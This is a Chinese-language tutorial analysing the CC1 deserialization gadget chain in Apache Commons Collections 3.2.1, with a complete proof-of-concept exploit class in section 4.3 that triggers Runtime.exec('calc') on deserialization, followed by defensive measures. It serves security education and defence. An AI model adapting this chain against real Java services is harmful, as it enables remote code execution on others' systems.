Java反序列化漏洞分析：CC1攻击链详解

1. 引言

Java反序列化漏洞是近年来网络安全领域的重要威胁之一，其中Apache Commons Collections (CC)库的反序列化漏洞尤为著名。CC1攻击链通过巧妙利用Java反序列化机制，构造恶意对象链，最终实现远程代码执行(RCE)。本文将深入剖析CC1攻击链的工作原理、技术细节和防御措施。

2. 环境准备

2.1 开发环境配置

• JDK版本：8u65（关键版本，后续版本已修复部分漏洞）
• IDE：IntelliJ IDEA
• 依赖库：commons-collections 3.2.1

2.2 Maven项目配置

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

3. CC1攻击链核心组件

3.1 InvokerTransformer

InvokerTransformer是攻击链中的关键类，通过反射机制执行任意方法：

// 常规反射执行命令
Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class;
Method method = c.getMethod("exec", String.class);
method.invoke(r,"calc");

// 使用InvokerTransformer实现相同功能
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

3.2 TransformedMap

TransformedMap提供了对Map对象的装饰功能，可以在Map条目被修改时触发回调：

HashMap<Object,Object> map = new HashMap<>();
map.put("123","12");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

3.3 ChainedTransformer

ChainedTransformer允许将多个Transformer串联起来按顺序执行：

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4. 完整攻击链分析

4.1 攻击链调用流程

ObjectInputStream.readObject
↓
AnnotationInvocationHandler.readObject
↓
AbstractInputCheckedMapDecorator.setValue
↓
TransformedMap.checkSetValue
↓
ChainedTransformer.transform
↓
InvokerTransformer.transform

4.2 关键问题解决

1. Runtime不可序列化问题：

   • 通过反射方式获取Runtime实例：

   Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
       new Class[]{String.class,Class[].class},
       new Object[]{"getRuntime", null}).transform(Runtime.class);
   Runtime r = (Runtime) new InvokerTransformer("invoke",
       new Class[]{Object.class,Object[].class},
       new Object[]{null, null}).transform(getRuntimeMethod);
   

2. memberType为空问题：

   • 使用Target.class替代Override.class
   • 修改Map的key为"value"：map.put("value","12")

4.3 完整利用代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 构造恶意Map
        HashMap map = new HashMap<>();
        map.put("value", "12");
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        
        // 通过反射获取AnnotationInvocationHandler实例
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, transformedMap);
        
        // 序列化和反序列化触发漏洞
        serialize(instance);
        unserialize("cc1.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc1.bin")));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        return ois.readObject();
    }
}

5. 漏洞防御措施

1. 升级Commons Collections库：

   • 使用3.2.2及以上版本，其中修复了相关漏洞

2. Java反序列化防护：

   • 使用ObjectInputFilter限制反序列化的类
   • 实现自定义的ObjectInputStream并重写resolveClass方法

3. 其他措施：

   • 使用白名单机制控制可反序列化的类
   • 对关键系统进行网络隔离
   • 定期进行安全审计和漏洞扫描

6. 总结

CC1攻击链展示了Java反序列化漏洞的严重性，攻击者通过精心构造的恶意对象链，可以在目标系统上执行任意代码。理解这一攻击链不仅有助于防御此类漏洞，也能提高开发人员对Java安全机制的认识。安全开发应从每一行代码做起，对反序列化操作保持高度警惕。